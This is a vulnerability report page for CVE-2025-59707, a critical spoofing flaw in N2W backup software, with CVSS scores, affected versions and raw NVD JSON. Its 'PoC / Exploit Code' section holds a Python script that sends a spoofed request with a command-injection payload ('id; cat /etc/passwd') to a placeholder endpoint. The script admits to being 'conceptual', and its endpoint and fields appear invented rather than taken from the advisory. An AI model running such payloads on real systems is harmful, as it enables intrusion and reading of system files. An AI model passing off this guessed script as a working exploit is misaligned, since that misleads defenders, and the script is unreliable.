Security Vulnerability Report
中文
CVE-2025-59707 CVSS 9.8 CRITICAL

CVE-2025-59707

Published: 2026-03-25 15:16:29
Last Modified: 2026-04-25 18:01:30

Description

In N2W before 4.3.2 and 4.4.x before 4.4.1, there is potential remote code execution and account credentials theft because of a spoofing vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:n2ws:n2w:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:n2ws:n2w:4.4.0:*:*:*:*:*:*:* - VULNERABLE
N2W < 4.3.2
N2W 4.4.x < 4.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2025-59707 (N2W Spoofing leading to RCE) This script demonstrates a conceptual exploit by sending a crafted spoofed request to the vulnerable N2W endpoint. """ import requests target_url = "http://target-n2w-instance:port/vulnerable_endpoint" # Headers simulating a trusted internal source or bypassing validation headers = { "User-Agent": "N2W-Internal-Scanner/1.0", "X-Forwarded-For": "127.0.0.1", "Content-Type": "application/json" } # Payload attempting to execute a command (e.g., id) payload = { "action": "backup_trigger", "command": "id; cat /etc/passwd" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to exploit, status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59707", "sourceIdentifier": "[email protected]", "published": "2026-03-25T15:16:29.257", "lastModified": "2026-04-25T18:01:30.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In N2W before 4.3.2 and 4.4.x before 4.4.1, there is potential remote code execution and account credentials theft because of a spoofing vulnerability."}, {"lang": "es", "value": "En N2W antes de 4.3.2 y 4.4.x antes de 4.4.1, existe potencial ejecución remota de código y robo de credenciales de cuenta debido a una vulnerabilidad de suplantación de identidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n2ws:n2w:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.3.2", "matchCriteriaId": "C5D0510D-0043-47A2-A54C-CCEAB98B60E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:n2ws:n2w:4.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "AD863497-1374-4081-B7C7-75EC4F702E91"}]}]}], "references": [{"url": "https://n2ws.com/blog/security-advisory-update", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://n2ws.zendesk.com/hc/en-us/articles/29817965452701-Release-notes-for-N2W-V4-3-2-August-2025", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.n2ws.com", "source": "[email protected]", "tags": ["Product"]}]}}